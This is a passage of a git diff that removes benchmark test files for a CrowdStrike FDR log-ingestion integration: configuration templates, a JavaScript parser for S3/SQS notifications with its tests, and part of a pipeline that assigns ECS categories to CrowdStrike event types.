-{{/if}} -{{#if endpoint}} -endpoint: {{endpoint}} -{{/if}} -{{#if default_region}} -default_region: {{default_region}} -{{/if}} -{{#if access_key_id}} -access_key_id: {{access_key_id}} -{{/if}} -{{#if secret_access_key}} -secret_access_key: {{secret_access_key}} -{{/if}} -{{#if session_token}} -session_token: {{session_token}} -{{/if}} -{{#if role_arn}} -role_arn: {{role_arn}} -{{/if}} -{{#if fips_enabled}} -fips_enabled: {{fips_enabled}} -{{/if}} -{{#if proxy_url }} -proxy_url: {{proxy_url}} -{{/if}} -sqs.notification_parsing_script.source: | - function parse(n) { - var m = JSON.parse(n); - var evts = []; - var files = m.files; - var bucket = m.bucket; - var records = m.Records; - var message = m.Message; - var topic_arn = m.TopicArn; - // Checks if not FDR queue - if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") { - // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS. - if ((records != null && records.length != 0) || (message != null && topic_arn != null)) { - // When notification is from S3 -> SNS -> SQS, records need to be extracted from message. - if (records == null || records.length == 0) { - var p = JSON.parse(message); - records = p.Records; - } - if (records != null && records.length != 0) { - records.forEach(function(f){ - if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) { - var evt = new S3EventV2(); - evt.SetS3BucketName(f.s3.bucket.name); - evt.SetS3ObjectKey(f.s3.object.key); - if (f.s3.bucket.arn) { - evt.SetS3BucketARN(f.s3.bucket.arn); - } - if (f.awsRegion) { - evt.SetAWSRegion(f.awsRegion); - } - if (f.eventName) { - evt.SetEventName(f.eventName); - } - if (f.eventSource) { - evt.SetEventSource(f.eventSource); - } - evts.push(evt); - } - }); - } - } - // Checks if event notification is S3 -> EventBridge -> SQS - else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) { - var evt = new S3EventV2(); - evt.SetS3BucketName(m.detail.bucket.name); - evt.SetS3ObjectKey(m.detail.object.key); - if (Array.isArray(m.resources) && m.resources.length > 0) { - evt.SetS3BucketARN(m.resources[0]); - } - if (m.source != null && m.source == "aws.s3") { - evt.SetEventSource("aws:s3"); - } - if (m['detail-type'] == "Object Created") { - evt.SetEventName("ObjectCreated:Put"); - } - evts.push(evt); - } - } else { - // FDR queue - files.sort(function(a, b) { - var isMetadata = function(a) { - return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1)); - }; - var cmp = function(a, b) { - if (a < b) { - return -1; - } - if (a > b) { - return 1; - } - return 0; - }; - if (isMetadata(a) === isMetadata(b)) { - return cmp(a.path, b.path); - } - if (isMetadata(a)) { - return -1; - } - return 1; - }); - files.forEach(function(f){ - var evt = new S3EventV2(); - evt.SetS3BucketName(bucket); - evt.SetS3ObjectKey(f.path); - evts.push(evt); - }); - } - return evts; - } - function test() { - // Test FDR queue - var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}"); - if (fdrEvents.length !== 2) { - throw "expecting two events"; - } - if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") { - throw "expected bucket === fdrBucket"; - } - if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") { - throw "expected object key === prefix/aidmaster"; - } - if (fdrEvents[1].S3.Object.Key !== "prefix/data") { - throw "expected object key === prefix/data"; - } - // Test S3 -> SQS - var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}"); - if (sqsEvents.length !== 1) { - throw "expecting one events"; - } - if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") { - throw "expected bucket === test-sqs-cs-s3"; - } - if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") { - throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3"; - } - if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") { - throw "expected object key === fdr-sample.log"; - } - // Test S3 -> SNS -> SQS - var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}"); - if (snsEvents.length !== 1) { - throw "expecting one events"; - } - if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") { - throw "expected bucket === test-crowds-s3-buck"; - } - if (snsEvents[0].AWSRegion !== "us-east-2") { - throw "expected AWS region === us-east-2"; - } - // Test S3 -> EventBridge -> SQS - var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}"); - if (ebEvents.length !== 1) { - throw "expecting one events"; - } - if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") { - throw "expected bucket === test-eb-crowds-s3-buck"; - } - if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") { - throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck"; - } - if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") { - throw "expected object key === fdr-0_aidmaster.log"; - } - } -{{#if tags.length}} -tags: -{{else}} -{{#if preserve_original_event}} -tags: -{{/if}} -{{/if}} -{{#if preserve_original_event}} - - preserve_original_event -{{/if}} -{{#each tags as |tag|}} - - {{tag}} -{{/each}} -{{#contains "forwarded" tags}} -publisher_pipeline.disable_host: true -{{/contains}} -fields_under_root: true -fields: - _conf: - long_fields: {{long_fields}} - long_fields_max_length: {{long_fields_max_length}} - enable_deduplication: {{enable_deduplication}} - prune_fields: {{prune_fields}} -processors: -- add_locale: ~ -{{#if enrich_metadata}} -- decode_json_fields: - fields: message - target: crowdstrike -- if: - contains: - log.file.path: aidmaster - then: - - cache: - backend: - capacity: {{metadata_cache_capacity}} - file: - id: aidmaster - write_interval: {{metadata_cache_write_interval}} - put: - ttl: {{metadata_ttl}} - key_field: crowdstrike.aid - value_field: crowdstrike - ignore_missing: true -{{#unless keep_metadata}} - - drop_event: - when: - contains: - log.file.path: aidmaster -{{/unless}} - else: - - if: - contains: - log.file.path: userinfo - then: - - cache: - backend: - capacity: {{metadata_cache_capacity}} - file: - id: userinfo - write_interval: {{metadata_cache_write_interval}} - put: - ttl: {{metadata_ttl}} - key_field: crowdstrike.UserSid_readable - value_field: crowdstrike - ignore_missing: true -{{#unless keep_metadata}} - - drop_event: - when: - contains: - log.file.path: userinfo -{{/unless}} - else: - - cache: - backend: - file: - id: aidmaster - get: - key_field: crowdstrike.aid - target_field: metadata.host - ignore_missing: true - - cache: - backend: - file: - id: userinfo - get: - key_field: crowdstrike.UserSid - target_field: metadata.user - ignore_missing: true -- drop_fields: - fields: - - crowdstrike -{{/if}} -{{#if processors}} -{{processors}} -{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs deleted file mode 100644 index bd86e4b01f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs +++ /dev/null @@ -1,104 +0,0 @@ -paths: -{{#each paths as |path|}} - - {{path}} -{{/each}} -scan: - sort: filename - order: asc -exclude_files: ['\.gz$'] -{{#if tags.length}} -tags: -{{else}} -{{#if preserve_original_event}} -tags: -{{/if}} -{{/if}} -{{#if preserve_original_event}} - - preserve_original_event -{{/if}} -{{#each tags as |tag|}} - - {{tag}} -{{/each}} -{{#contains "forwarded" tags}} -publisher_pipeline.disable_host: true -{{/contains}} -fields_under_root: true -fields: - _conf: - long_fields: {{long_fields}} - long_fields_max_length: {{long_fields_max_length}} - enable_deduplication: {{enable_deduplication}} - prune_fields: {{prune_fields}} -processors: -- add_locale: ~ -{{#if enrich_metadata}} -- decode_json_fields: - fields: message - target: crowdstrike -- if: - contains: - log.file.path: aidmaster - then: - - cache: - backend: - capacity: {{metadata_cache_capacity}} - file: - id: aidmaster - write_interval: {{metadata_cache_write_interval}} - put: - ttl: {{metadata_ttl}} - key_field: crowdstrike.aid - value_field: crowdstrike - ignore_missing: true -{{#unless keep_metadata}} - - drop_event: - when: - contains: - log.file.path: aidmaster -{{/unless}} - else: - - if: - contains: - log.file.path: userinfo - then: - - cache: - backend: - capacity: {{metadata_cache_capacity}} - file: - id: userinfo - write_interval: {{metadata_cache_write_interval}} - put: - ttl: {{metadata_ttl}} - key_field: crowdstrike.UserSid_readable - value_field: crowdstrike - ignore_missing: true -{{#unless keep_metadata}} - - drop_event: - when: - contains: - log.file.path: userinfo -{{/unless}} - else: - - cache: - backend: - file: - id: aidmaster - get: - key_field: crowdstrike.aid - target_field: metadata.host - ignore_missing: true - - cache: - backend: - file: - id: userinfo - get: - key_field: crowdstrike.UserSid - target_field: metadata.user - ignore_missing: true -- drop_fields: - fields: - - crowdstrike -{{/if}} -{{#if processors}} -{{processors}} -{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml deleted file mode 100644 index 864a40392f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml +++ /dev/null @@ -1,1875 +0,0 @@ ---- -description: Pipeline for categorizing Crowdstrike events -processors: - - set: - tag: set_event_category_604aa117 - if: ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.endsWith('Written') - field: event.category - value: - - file - - script: - description: Categorize events. - tag: categorize_events_6b04e496 - params: - AcUninstallConfirmation: - category: - - package - kind: state - outcome: success - type: - - deletion - AcUnloadConfirmation: - category: - - package - kind: state - outcome: success - type: - - deletion - ActiveDirectoryAuthentication: - category: - - authentication - kind: event - outcome: success - type: - - start - ActiveDirectoryAuthenticationFailure: - category: - - authentication - kind: event - outcome: failure - type: - - start - ActiveDirectoryIncomingDceRpcEpmRequest: - category: - - api - kind: event - outcome: unknown - type: - - start - ActiveDirectoryIncomingDceRpcRequest: - category: - - api - kind: event - outcome: unknown - type: - - start - ActiveDirectoryIncomingLdapSearchRequest: - category: - - database - kind: event - outcome: unknown - type: - - access - ActiveDirectoryIncomingPsExecExecution2: - category: - - process - kind: event - outcome: success - type: - - start - ActiveDirectoryInteractiveDomainLogon: - category: - - authentication - kind: event - outcome: success - type: - - start - ActiveDirectoryServiceAccessRequest: - category: - - database - kind: event - outcome: success - type: - - access - ActiveDirectoryServiceAccessRequestFailure: - category: - - database - kind: event - outcome: failure - type: - - access - AgentConnect: - category: - - network - - session - kind: event - outcome: success - type: - - connection - - info - AgentOnline: - category: - - configuration - - package - - host - kind: state - outcome: success - type: - - change - - installation - - start - AmsiRegistrationStatus: - category: - - host - kind: state - outcome: success - type: - - info - AsepFileChange: - category: - - file - kind: event - outcome: success - type: - - creation - - change - AsepKeyUpdate: - category: - - registry - kind: event - outcome: success - type: - - change - AsepValueUpdate: - category: - - registry - kind: event - outcome: success - type: - - change - AssociateIndicator: - category: - - threat - kind: event - outcome: unknown - type: - - indicator - AssociateTreeIdWithRoot: - category: - - malware - kind: alert - outcome: success - type: - - info - BITSJobCreated: - category: - - network - - file - kind: event - outcome: success - type: - - connection - - creation - BZip2FileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - BehaviorWhitelisted: - category: - - configuration - kind: event - outcome: success - type: - - change - BrowserInjectedThread: - category: - - process - kind: event - outcome: success - type: - - access - - change - ClassifiedModuleLoad: - category: - - library - kind: event - type: - - start - CloudAssociateTreeIdWithRoot: - category: - - malware - kind: alert - outcome: success - type: - - deletion - CommandHistory: - category: - - process - kind: event - outcome: success - type: - - end - - info - ConfigStateUpdate: - category: - - configuration - kind: event - outcome: success - type: - - change - CrashNotification: - category: - - host - kind: event - outcome: failure - type: - - info - CreateProcessArgs: - category: - - process - kind: state - outcome: success - type: - - start - CreateService: - category: - - host - kind: event - outcome: success - type: - - change - CreateThreadNoStartImage: - category: - - process - kind: event - outcome: success - type: - - start - CreateThreadReflectiveDll: - category: - - process - kind: event - outcome: success - type: - - change - CriticalEnvironmentVariableChanged: - category: - - configuration - - host - kind: event - outcome: success - type: - - change - CriticalFileAccessed: - category: - - file - kind: alert - outcome: success - type: - - access - CriticalFileModified: - category: - - file - kind: alert - outcome: success - type: - - change - CurrentSystemTags: - category: - - host - kind: state - outcome: success - type: - - info - CustomIOABasicProcessDetectionInfoEvent: - category: - - malware - kind: alert - outcome: unknown - type: - - info - DCSyncAttempted: - category: - - configuration - - iam - kind: event - outcome: unknown - type: - - access - DcOffline: - category: - - iam - kind: event - outcome: success - type: - - info - DcOnline: - category: - - iam - kind: event - outcome: success - type: - - info - DcStatus: - category: - - iam - kind: state - outcome: success - type: - - info - DetectAnalysis: - category: - - malware - kind: alert - outcome: success - type: - - info - DetectionExcluded: - category: - - configuration - kind: event - outcome: success - type: - - change - - info - DirectoryCreate: - category: - - file - kind: event - outcome: success - type: - - creation - DllInjection: - category: - - process - kind: event - outcome: success - type: - - change - DmpFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - DnsRequest: - category: - - network - kind: event - outcome: success - type: - - protocol - DocumentProgramInjectedThread: - category: - - process - kind: event - outcome: success - type: - - access - - change - DriverLoad: - category: - - driver - kind: event - outcome: success - type: - - start - DwgFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - EarlyExploitPivotDetect: - category: - - malware - kind: event - outcome: unknown - type: - - info - EndOfProcess: - category: - - process - kind: event - outcome: success - type: - - end - ErrorEvent: - category: - - package - kind: event - outcome: failure - type: - - info - EtwErrorEvent: - category: - - package - - host - kind: event - outcome: failure - type: - - info - ExecutableDeleted: - category: - - file - kind: event - outcome: success - type: - - deletion - FalconHostRegTamperingInfo: - category: - - registry - kind: alert - outcome: unknown - type: - - change - FalconProcessHandleOpDetectInfo: - category: - - malware - - process - kind: alert - type: - - info - - access - FalconServiceStatus: - category: - - package - kind: state - outcome: unknown - type: - - info - FileCreateInfo: - category: - - file - kind: event - outcome: success - type: - - creation - FileDeleteInfo: - category: - - file - kind: event - outcome: success - type: - - deletion - FileDetectInfo: - category: - - file - kind: alert - outcome: unknown - type: - - creation - FileInfo: - category: - - file - kind: event - outcome: unknown - type: - - info - FileOpenInfo: - category: - - file - kind: event - outcome: success - type: - - access - FileRenameInfo: - category: - - file - kind: event - outcome: success - type: - - change - FileSystemOperationBlocked: - category: - - file - kind: event - outcome: failure - type: - - change - - deletion - FileSystemOperationDetectInfo: - category: - - file - kind: event - outcome: unknown - type: - - change - - deletion - FileTimestampsModified: - category: - - file - kind: event - outcome: success - type: - - change - FileWrittenWithEntropyHigh: - category: - - file - kind: event - outcome: success - type: - - creation - FirewallChangeOption: - category: - - configuration - - host - kind: event - outcome: success - type: - - change - FirewallDeleteRule: - category: - - configuration - kind: event - outcome: success - type: - - change - FirewallDeleteRuleIP4: - category: - - configuration - kind: event - outcome: success - type: - - change - FirewallDeleteRuleIP6: - category: - - configuration - kind: event - outcome: success - type: - - change - FirewallDisabled: - category: - - configuration - - host - kind: event - outcome: success - type: - - change - FirewallEnabled: - category: - - configuration - - host - kind: event - outcome: success - type: - - change - FirewallSetRule: - category: - - configuration - kind: event - outcome: success - type: - - change - FirewallSetRuleIP4: - category: - - configuration - kind: event - outcome: success - type: - - change - FirewallSetRuleIP6: - category: - - configuration - kind: event - outcome: success - type: - - change - FirmwareAnalysisErrorEvent: - category: - - host - kind: state - outcome: failure - type: - - info - FirmwareAnalysisHardwareData: - category: - - host - kind: state - outcome: success - type: - - info - FirmwareAnalysisStatus: - category: - - host - kind: state - outcome: success - type: - - info - FlashThreadCreateProcess: - category: - - process - kind: event - outcome: success - type: - - start - FsPostOpenSnapshotFile: - category: - - file - kind: event - outcome: success - type: - - access - FsVolumeMounted: - category: - - host - kind: event - outcome: success - type: - - change - FsVolumeUnmounted: - category: - - host - kind: event - outcome: success - type: - - change - HostInfo: - category: - - host - kind: event - outcome: success - type: - - info - HostedServiceStarted: - category: - - process - kind: event - outcome: success - type: - - start - HostedServiceStopped: - category: - - process - kind: event - outcome: success - type: - - end - HostnameChanged: - category: - - host - kind: event - outcome: success - type: - - change - HttpRequestDetect: - category: - - network - - session - kind: event - outcome: success - type: - - connection - - start - HttpVisibilityStatus: - category: - - session - kind: state - outcome: unknown - type: - - info - IOServiceRegister: - category: - - package - kind: event - outcome: success - type: - - change - ImageHash: - category: - - library - kind: event - outcome: success - type: - - start - InjectedThread: - category: - - process - kind: event - outcome: success - type: - - change - InjectedThreadFromUnsignedModule: - category: - - process - kind: alert - outcome: success - type: - - change - InstallBundleDownloadComplete: - category: - - file - kind: event - outcome: success - type: - - creation - InstallServiceDownloadComplete: - category: - - file - kind: event - outcome: success - type: - - creation - InstalledApplication: - category: - - package - kind: event - outcome: success - type: - - installation - InstalledBrowserExtension: - category: - - package - kind: event - type: - - installation - InstalledUpdates: - category: - - host - - package - kind: event - outcome: success - type: - - change - - installation - InstanceMetadata: - category: - - host - kind: state - outcome: unknown - type: - - info - IoSessionConnected: - category: - - session - kind: event - outcome: success - type: - - start - IoSessionLoggedOn: - category: - - session - kind: event - outcome: success - type: - - end - JarFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - JavaClassFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - JavaInjectedThread: - category: - - process - kind: event - outcome: success - type: - - change - KernelModeLoadImage: - category: - - driver - kind: event - outcome: success - type: - - start - KernelServiceStarted: - category: - - process - kind: event - type: - - start - KextLoad: - category: - - driver - kind: event - outcome: success - type: - - start - KextUnload: - category: - - driver - kind: event - outcome: success - type: - - end - LFODownloadConfirmation: - category: - - file - kind: event - outcome: success - type: - - creation - LfoUploadDataComplete: - category: - - file - kind: event - outcome: success - type: - - change - LfoUploadDataFailed: - category: - - file - kind: event - outcome: failure - type: - - change - LfoUploadDataUnneeded: - category: - - file - kind: event - outcome: failure - type: - - change - LocalIpAddressIP4: - category: - - configuration - - host - kind: state - outcome: success - type: - - change - LocalIpAddressIP6: - category: - - configuration - - host - kind: state - outcome: success - type: - - change - LocalIpAddressRemovedIP4: - category: - - configuration - - host - kind: state - outcome: success - type: - - change - LocalIpAddressRemovedIP6: - category: - - configuration - - host - kind: state - outcome: success - type: - - change - LsassHandleFromUnsignedModule: - category: - - process - kind: alert - outcome: unknown - type: - - change - MachOFileWritten: - category: - - file - kind: event - outcome: success - type: - - change - ManifestDownloadComplete: - category: - - configuration - - file - kind: event - outcome: success - type: - - change - - creation - ModifyServiceBinary: - category: - - file - kind: event - outcome: unknown - type: - - change - ModuleBlockedEvent: - category: - - process - - malware - kind: alert - outcome: success - type: - - info - - denied - ModuleBlockedEventWithPatternId: - category: - - process - - malware - kind: event - outcome: unknown - type: - - info - ModuleDetectInfo: - category: - - process - - malware - kind: event - outcome: unknown - type: - - info - MountedVolume: - category: - - file - kind: event - outcome: success - type: - - info - NeighborListIP4: - category: - - host - - network - kind: state - outcome: unknown - type: - - info - NeighborListIP6: - category: - - host - - network - kind: state - outcome: unknown - type: - - info - NetShareAdd: - category: - - host - kind: event - outcome: success - type: - - change - NetShareDelete: - category: - - host - kind: event - outcome: success - type: - - change - NetShareSecurityModify: - category: - - configuration - kind: event - outcome: success - type: - - change - NetworkCloseIP4: - category: - - network - kind: event - outcome: unknown - type: - - end - - connection - NetworkCloseIP6: - category: - - network - kind: event - outcome: unknown - type: - - end - - connection - NetworkConnectIP4: - category: - - network - kind: event - outcome: unknown - type: - - start - - connection - NetworkConnectIP6: - category: - - network - kind: event - outcome: unknown - type: - - start - - connection - NetworkListenIP4: - category: - - network - kind: event - outcome: success - type: - - start - NetworkListenIP6: - category: - - network - kind: event - outcome: success - type: - - start - NetworkReceiveAcceptIP4: - category: - - network - kind: event - outcome: unknown - type: - - allowed - - access - - connection - NetworkReceiveAcceptIP6: - category: - - network - kind: event - outcome: unknown - type: - - allowed - - access - - connection - NewExecutableRenamed: - category: - - file - kind: event - outcome: success - type: - - change - NewExecutableWritten: - category: - - file - kind: event - outcome: success - type: - - creation - NewScriptWritten: - category: - - file - kind: event - outcome: success - type: - - creation - OciContainerTelemetry: - category: - - host - kind: state - outcome: unknown - type: - - info - OleFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - OoxmlFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - OsVersionInfo: - category: - - host - kind: event - outcome: success - type: - - info - PackedExecutableWritten: - category: - - file - kind: event - outcome: success - type: - - creation - PdfFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - PeFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - PeVersionInfo: - category: - - file - kind: event - outcome: success - type: - - info - PrivilegedProcessHandleFromUnsignedModule: - category: - - process - kind: alert - outcome: success - type: - - access - ProcessBlocked: - category: - - process - kind: alert - outcome: failure - type: - - access - ProcessExecOnPackedExecutable: - category: - - process - - file - kind: alert - outcome: success - type: - - access - ProcessExecOnSMBFile: - category: - - process - - file - - network - kind: alert - outcome: success - type: - - access - ProcessHandleOpDetectInfo: - category: - - process - - malware - kind: alert - outcome: success - type: - - info - ProcessInjection: - category: - - process - kind: event - outcome: success - type: - - change - ProcessRollup2: - category: - - process - kind: event - outcome: success - type: - - start - ProcessRollup2Stats: - category: - - process - kind: state - outcome: unknown - type: - - info - ProcessSelfDeleted: - category: - - process - kind: event - outcome: success - type: - - end - PromiscuousBindIP4: - category: - - host - kind: state - outcome: success - type: - - change - PtyCreated: - category: - - file - kind: event - outcome: success - type: - - creation - QuarantineActionResult: - category: - - file - kind: alert - outcome: unknown - type: - - info - QuarantinedFile: - category: - - file - kind: alert - outcome: unknown - type: - - change - QuarantinedFileState: - category: - - file - kind: alert - outcome: unknown - type: - - info - QueueApcEtw: - category: - - file - kind: alert - outcome: success - type: - - creation - RansomwareCreateFile: - category: - - file - kind: event - outcome: success - type: - - creation - RansomwareFileAccessPattern: - category: - - file - kind: alert - outcome: success - type: - - access - RansomwareOpenFile: - category: - - file - kind: event - outcome: success - type: - - access - RarFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - RawBindIP4: - category: - - network - kind: event - outcome: success - type: - - start - - connection - RawBindIP6: - category: - - network - kind: event - outcome: success - type: - - start - - connection - ReflectiveDllOpenProcess: - category: - - process - kind: alert - outcome: success - type: - - access - ReflectiveDotnetModuleLoad: - category: - - library - kind: event - type: - - start - RegCrowdstrikeKeyUpdate: - category: - - registry - kind: event - outcome: success - type: - - change - RegCrowdstrikeValueUpdate: - category: - - registry - kind: event - outcome: success - type: - - change - RegGenericValueUpdate: - category: - - registry - kind: event - outcome: success - type: - - change - RegSystemConfigValueUpdate: - category: - - registry - - host - - configuration - kind: event - outcome: success - type: - - change - RegisterRawInputDevicesEtw: - category: - - host - - configuration - kind: event - outcome: success - type: - - change - RegistryOperationDetectInfo: - category: - - registry - kind: alert - outcome: success - type: - - info - RemoteBruteForceDetectInfo: - category: - - malware - - authentication - kind: alert - outcome: success - type: - - info - RemovableDiskModuleLoadAttempt: - category: - - configuration - - host - kind: event - outcome: success - type: - - change - RemovableMediaVolumeMounted: - category: - - configuration - - host - kind: event - outcome: success - type: - - change - RtfFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - SAMHashDumpFromUnsignedModule: - category: - - registry - - file - kind: alert - outcome: success - type: - - access - - creation - ScheduledTaskDeleted: - category: - - configuration - kind: event - outcome: success - type: - - deletion - ScheduledTaskModified: - category: - - configuration - kind: event - outcome: success - type: - - change - ScheduledTaskRegistered: - category: - - configuration - kind: event - outcome: success - type: - - creation - ScreenshotTakenEtw: - category: - - process - kind: event - outcome: success - type: - - access - ScriptControlBlocked: - category: - - malware - - file - kind: alert - outcome: success - type: - - info - ScriptControlDetectInfo: - category: - - malware - - file - kind: alert - outcome: success - type: - - info - ScriptControlErrorEvent: - category: - - malware - - file - kind: alert - outcome: failure - type: - - info - ScriptControlScanInfo: - category: - - malware - - file - kind: state - outcome: success - type: - - info - ScriptControlScanTelemetry: - category: - - malware - - file - kind: state - outcome: success - type: - - info - SensitiveWmiQuery: - category: - - process - kind: event - outcome: success - type: - - info - SensorAntiTamperState: - category: - - configuration - kind: state - type: - - info - SensorHeartbeat: - category: - - package - kind: event - outcome: success - type: - - info - SensorSettingsUpdate: - category: - - configuration - kind: event - type: - - change - ServiceStarted: - category: - - process - kind: event - outcome: success - type: - - start - ServiceStopped: - category: - - process - kind: event - outcome: success - type: - - end - ServicesStatusInfo: - category: - - configuration - kind: state - type: - - info - SetWinEventHookEtw: - category: - - host - - configuration - kind: event - outcome: success - type: - - change - SevenZipFileWritten: - category: - - file - kind: event - outcome: success - type: - - creation - SignInfoError: - category: - - file - kind: state - outcome: failure - type: - - info - SignInfoWithCertAndContext: - category: - - file - kind: state - outcome: unknown - type: - - info - SignInfoWithContext: - category: - - file - kind: state - outcome: unknown - type: - - info - SmbClientNamedPipeConnectEtw: - category: - - network - kind: event - outcome: success - type: - - connection - SmbClientShareClosedEtw: - category: - - network - kind: event - outcome: success - type: - - connection - - end - SmbClientShareOpenedEtw: - category: - - network - kind: event - outcome: success - type: - - connection - - start - SmbServerShareOpenedEtw: - category: - - network - kind: event - outcome: success - type: - - connection - - start - SmbServerV1AuditEtw: - category: - - network - kind: state - outcome: unknown - type: - - connection - SnapshotVolumeMounted: - category: - - host - - configuration - kind: event - outcome: success - type: - - change - SudoCommandAttempt: - category: - - authentication - kind: event - outcome: unknown - type: - - start - SuspiciousCreateSymbolicLink: - category: - - file - kind: alert - outcome: success - type: - - creation - - info - SuspiciousDnsRequest: - category: - - network - kind: alert - outcome: success - type: - - start - - protocol - SuspiciousEseFileWritten: - category: - - malware - - file - kind: alert - outcome: success - type: - - creation - - info - SuspiciousPeFileWritten: - category: - - malware - - file - kind: alert - outcome: success - type: - - creation - - info - SuspiciousPrivilegedProcessHandle: - category: - - process - kind: event - type: - - info - SuspiciousRegAsepUpdate: - category: - - malware - - registry - - configuration - kind: alert - outcome: success - type: - - change - - info - SuspiciousUserRemoteAPCAttempt: - category: - - malware - - process - kind: alert - outcome: success - 